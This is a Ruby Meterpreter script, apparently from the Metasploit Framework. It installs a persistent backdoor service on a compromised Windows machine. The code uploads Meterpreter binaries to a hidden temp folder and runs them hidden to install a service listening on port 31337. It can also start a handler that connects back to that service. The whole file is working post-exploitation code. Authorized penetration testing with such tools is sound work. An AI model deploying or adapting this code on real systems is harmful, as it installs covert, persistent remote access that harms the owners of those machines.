metasploit-framework/scripts/meterpreter/metsvc.rb

119 lines
2.6 KiB
Ruby

# $Id$
#
# Meterpreter script for installing the meterpreter service
#
session = client
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the service"]
)
# Exec a command and return the results
def m_exec(session, cmd)
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
b = ""
while(d = r.channel.read)
b << d
end
r.channel.close
r.close
b
end
#
# Default parameters
#
based = File.join(Msf::Config.install_root, "data", "meterpreter")
rport = 31337
install = false
autoconn = false
remove = false
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
when "-A"
autoconn = true
when "-r"
remove = true
end
end
#
# Create the persistent VBS
#
if(not remove)
print_status("Creating a meterpreter service on port #{rport}")
else
print_status("Removing the existing Meterpreter service")
end
#
# Upload to the filesystem
#
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating a temporary installation directory #{tempdir}...")
client.fs.dir.mkdir(tempdir)
%W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin|
next if (bin != "metsvc.exe" and remove)
print_status(" >> Uploading #{bin}...")
fd = client.fs.file.new(tempdir + "\\" + bin, "wb")
fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin))))
fd.close
end
#
# Execute the agent
#
if(not remove)
print_status("Starting the service...")
client.fs.dir.chdir(tempdir)
data = m_exec(client, "metsvc.exe install-service")
print_line("\t#{data}")
else
print_status("Stopping the service...")
client.fs.dir.chdir(tempdir)
data = m_exec(client, "metsvc.exe remove-service")
print_line("\t#{data}")
end
if(remove)
m_exec(client, "cmd.exe /c del metsvc.exe")
end
#
# Setup the multi/handler if requested
#
if(autoconn)
print_status("Trying to connect to the Meterpreter service at #{client.tunnel_peer.split(':')[0]}:#{rport}...")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
mul.datastore['LPORT'] = rport
mul.datastore['RHOST'] = client.tunnel_peer.split(':')[0]
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
end